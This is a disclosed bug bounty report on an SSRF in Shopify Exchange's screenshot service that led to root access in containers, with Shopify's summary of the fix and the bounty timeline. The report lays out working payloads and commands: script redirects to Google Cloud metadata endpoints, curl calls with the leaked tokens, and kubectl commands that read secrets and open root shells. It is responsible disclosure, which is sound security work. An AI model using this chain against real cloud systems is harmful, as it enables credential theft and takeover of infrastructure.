382

SSRF in Exchange leads to ROOT access in all instances

Share:

State	Resolved (Closed)
Disclosed	**May 24, 2018 2:39am +0530**
Reported To	Shopify
Asset	https://exchangemarketplace.com/ (Domain)
Weakness	Server-Side Request Forgery (SSRF)
Bounty	$25,000
Severity	Medium (6.9)
Participants	
Visibility	Disclosed (Full)

Collapse

SUMMARY BY SHOPIFY

Shopify infrastructure is isolated into subsets of infrastructure. @0xacb reported it was possible to gain root access to any container in one particular subset by exploiting a server side request forgery bug in the screenshotting functionality of Shopify Exchange. Within an hour of receiving the report, we disabled the vulnerable service, began auditing applications in all subsets and remediating across all our infrastructure. The vulnerable subset did not include Shopify core.

After auditing all services, we fixed the bug by deploying a metadata concealment proxy to disable access to metadata information. We also disabled access to internal IPs on all infrastructure subsets. We awarded this $25,000 as a Shopify Core RCE since some applications in this subset do have access to some Shopify core data and systems.

TIMELINE · EXPORT

0xacb submitted a report to **Shopify**. Apr 23rd (12 months ago)

The Exploit Chain - How to get root access on all Shopify instances

1 - Access Google Cloud Metadata

- 1: Create a store (partners.shopify.com)
- 2: Edit the template `password.liquid` and add the following content:

```
<script>
window.location="http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token";
// iframes don't work here because Google Cloud sets the `X-Frame-Options: SAMEORIGIN` header.
</script>
```

- 3: Go to https://exchange.shopify.com/create-a-listing and install the Exchange app
- 4: Wait for the store screenshot to appear on the Create Listing page
- 5: Download the PNG and open it using image editing software or convert it to JPEG (Chrome displays a black PNG)

{F289082}

Exploring SSRFs in Google Cloud instances require a special header. However, I found really easy way to "bypass" it while reading the documentation: the `/v1beta1` endpoint is still available, does not require the `Metadata-Flavor: Google` header and still returns the same token.

I tried to leak more data, but the web screenshot software wasn't producing any images for `application/text` responses. However, I found that I could add the parameter `alt=json` to force `application/json` responses. I managed to leak more data, such as an incomplete list of SSH public keys (including email addresses), the project name ([redacted]), the instance name and more:

```
<script>
window.location="http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json";
</script>
```

{F289081}

Can I add my SSH key using the leaked token? No

```
curl -X POST "https://www.googleapis.com/compute/v1/projects/[redacted]/setCommonInstanceMetadata" -H "Authorization: Beare
```

```
{
 "error": {
  "errors": [
   {
    "domain": "global",
    "reason": "forbidden",
    "message": "Required 'compute.projects.setCommonInstanceMetadata' permission for 'projects/[redacted]'"
   },
   {
    "domain": "global",
    "reason": "forbidden",
    "message": "Required 'iam.serviceAccounts.actAs' permission for 'projects/[redacted]'"
   }
  ],
  "code": 403,
  "message": "Required 'compute.projects.setCommonInstanceMetadata' permission for 'projects/[redacted]'"
 }
}
```

I checked the scopes for this token and there was no read/write access to the Compute Engine API:

```
curl "https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=[redacted]"
```

```
{
 "issued_to": "[redacted]",
 "audience": "[redacted]",
 "scope": "https://www.googleapis.com/auth/cloud-platform",
 "expires_in": 1307,
 "access_type": "offline"
}
```

2 - Dumping kube-env

I created a new store and pulled attributes from this instance recursively:
http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/?recursive=true&alt=json

Result:
{F289455}

Metadata concealment (https://cloud.google.com/kubernetes-engine/docs/how-to/metadata-concealment) is not enabled, so the `kube-env` attribute is available.

Since the image is cropped, I made a new request to: http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/kube-env?alt=json in order to see the rest of the Kubelet certificate and the Kubelet private key.

Result:
{F289456}

ca.crt

```
-----BEGIN CERTIFICATE-----
[redacted]
```

```
[redacted]
-----END CERTIFICATE-----
```

client.crt

```
-----BEGIN CERTIFICATE-----
[redacted]
-----END CERTIFICATE-----
```

client.pem

```
-----BEGIN RSA PRIVATE KEY-----
[redacted]
```

```
[redacted]
-----END RSA PRIVATE KEY-----
```

MASTER_NAME: [redacted]

3 - Using Kubelet to execute arbitrary commands

It's possible to list all pods {F289460}:

```
.crt --client-key client.pem --certificate-authority ca.crt --server https://[redacted] get pods --all-namespaces

      NAME                                                          READY     STATUS            RESTARTS   AGE
[redacted]              1/1
```

And create new pods as well:

```
$ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://[redacted]

pod "shell-demo" created
$ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://[redacted]

pod "shell-demo" deleted
```

I didn't tried to delete running pods, obviously, I'm not sure if I would be able to delete them with user `[redacted]`. However, it's not possible to execute commands in this new pod or any other pod:

```
$ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://[redacted]

Error from server (Forbidden): pods "shell-demo" is forbidden: User "[redacted]" cannot create pods/exec in the namespace '
```

The `get secrets` command doesn't work, but it's possible to describe a given pod and the get the secret using its name. That's how I leaked the kubernetes.io service account token using the instance `[redacted]` from the namespace `[redacted]`:

```
$ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://[redacted]

Name:           [redacted]
Namespace:      [redacted]
Node:           [redacted]
Start Time:     Fri, 23 Mar 2018 13:53:13 +0000
Labels:         [redacted]
Annotations:    <none>
Status:         Running
IP:             [redacted]
Controlled By:  [redacted]
Containers:
  default-http-backend:
    Container ID:   docker://[redacted]
    Image:          [redacted]
    Image ID:       docker-pullable://[redacted]
    Port:           [redacted]/TCP
    Host Port:      0/TCP
    State:          Running
```

```
      Started:      Sun, 22 Apr 2018 03:23:09 +0000
    Last State:     Terminated
      Reason:       Error
      Exit Code:    2
      Started:      Fri, 20 Apr 2018 23:39:21 +0000
      Finished:     Sun, 22 Apr 2018 03:23:07 +0000
    Ready:          True
    Restart Count:  180
    Limits:
      cpu:     10m
      memory:  20Mi
    Requests:
      cpu:        10m
      memory:     20Mi
    Liveness:     http-get http://:[redacted]/healthz delay=30s timeout=5s period=10s #success=1 #failure=3
    Environment:  <none>
    Mounts:
      [redacted]
Conditions:
  Type           Status
  Initialized    True
  Ready          True
  PodScheduled   True
Volumes:
 [redacted]:
    Type:        Secret (a volume populated by a Secret)
    SecretName: [redacted]
    Optional:    false
QoS Class:       Guaranteed
Node-Selectors:  <none>
Tolerations:     node.kubernetes.io/not-ready:NoExecute for 300s
                 node.kubernetes.io/unreachable:NoExecute for 300s
Events:          <none>
```

```
$ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://[redacted]

apiVersion: v1
data:
  ca.crt: [redacted]
  namespace: [redacted]
  token: [redacted]==
kind: Secret
metadata:
  annotations:
    kubernetes.io/service-account.name: default
    kubernetes.io/service-account.uid: [redacted]
  creationTimestamp: 2017-01-23T16:08:19Z
  name:[redacted]
  namespace: [redacted]
  resourceVersion: "115481155"
  selfLink: /api/v1/namespaces/[redacted]/secrets/[redacted]
  uid: [redacted]
type: kubernetes.io/service-account-token
```

And finally, it's possible to use this token to get a shell in any container:

```
$ kubectl --certificate-authority ca.crt --server https://[redacted] --token "[redacted].[redacted].[redacted]" exec -it w[redacted] -- /b

Defaulting container name to web.
```

```
Use 'kubectl describe pod/w[redacted]' to see all of the containers in this pod.
[redacted]:/# id
uid=0(root) gid=0(root) groups=0(root)
[redacted]:/# ls
app  boot   dev  exec  key  lib64  mnt  proc  run   srv  start  tmp  var
bin  build  etc  home  lib  media  opt  root  sbin  ssl  sys    usr
[redacted]:/# exit
```

```
$ kubectl --certificate-authority ca.crt --server https://[redacted] --token "[redacted].[redacted].[redacted]" exec -it [redacted]

Defaulting container name to web.
Use 'kubectl describe pod/[redacted] -n [redacted]' to see all of the containers in this pod.
root@[redacted]:/# id
uid=0(root) gid=0(root) groups=0(root)
root@[redacted]:/# ls
app  boot   dev  exec  key  lib64  mnt  proc  run   srv  start  tmp  var
bin  build  etc  home  lib  media  opt  root  sbin  ssl  sys    usr
root@[redacted]:/# exit
```

Huge thanks to Luís Maia 0xfad0, for helping me build this [redacted]

Impact

CRITICAL

The hacker selected the **Server-Side Request Forgery (SSRF)** weakness. This vulnerability type requires contextual information from the hacker. They provided the following answers:

Can internal services be reached bypassing network access control?
Yes

What internal services were accessible?
Google Cloud Metadata

Security Impact
RCE

shopify-peteryaworski changed the status to ○ **Triaged**. Apr 23rd (12 months ago)
Thanks for your report @0xacb, our engineering team is investigating and we will let you know when we have an update.

Shopify rewarded 0xacb with a **$500** bounty. Apr 23rd (12 months ago)
We've disabled the vulnerable service last night, thank you again for reporting this. As per our program rules, I'm paying this initial amount on triage, with the rest once the issue has been closed.

0xacb posted a comment. Apr 23rd (12 months ago)
Thank you for the initial reward :)

I forgot to mention, but I stopped exploring this when I achieved RCE. I'm not sure if I would be able to access other clusters on the project network (10.0.0.0)

shopify-peteryaworski posted a comment. Apr 27th (12 months ago)
Hi @0xacb,
thanks again for this report and the level of detail you provided, it was extremely helpful. I just wanted to provide a quick update. As you know, we immediately patched on the weekend. We are continuing to implement network changes to prevent the behaviour again should another SSRF vulnerability be discovered in the future. Given the sensitivity around this, we're taking our time to ensure proper mitigations. We're hoping to be able to resolve it soon but will keep you up to date on the progress.

0xacb posted a comment. Apr 28th (12 months ago)

Thanks for the update, Peter!

0xacb posted a comment. May 17th (11 months ago)

Hello @shopify-peteryaworski,

Any updates on the progress?

Thank you!

shopify-peteryaworski posted a comment. May 18th (11 months ago)

Hi @0xacb,

sorry, we don't have an update. We will let you know when we do.

shopify-peteryaworski closed the report and changed the status to ○ **Resolved**. May 24th (11 months ago)

Thanks again for your report @0xacb and your patience. As you know, we patched this immediately. We've finished implementing the network changes necessary to prevent this from occurring again. You should hear back from us shortly regarding the bounty.

On that note, this was a great find @0xacb! Thank you for taking the time to improve the security of Shopify. We greatly appreciate it. We hope to see more reports from you and for others to use this report as an great learning opportunity.

0xacb posted a comment. May 24th (11 months ago)

Sounds great, @shopify-peteryaworski!

It was really a pleasure to work with you :)

Shopify rewarded 0xacb with a **$24,500** bounty. May 24th (11 months ago)

Thanks again @0xacb!

francoischagnon requested to disclose this report. May 24th (11 months ago)

0xacb posted a comment. May 24th (11 months ago)

Sure! We can disclose this. Thanks for the huge bounty guys!!

0xacb agreed to disclose this report. May 24th (11 months ago)

This report has been disclosed. May 24th (11 months ago)

Shopify rewarded 0xacb with **swag**. May 24th (11 months ago)

We'd also like to award you with some hacker-exclusive Shopify swag

0xacb posted a comment. May 24th (11 months ago)

Thank you so much :)

shopify-peteryaworski updated the severity from Critical to Critical (10.0). Jun 15th (10 months ago)

shopify-peteryaworski changed the scope from **your-store.myshopify.com** to **https://exchangemarketplace.com/**. Jun 15th (10 months ago)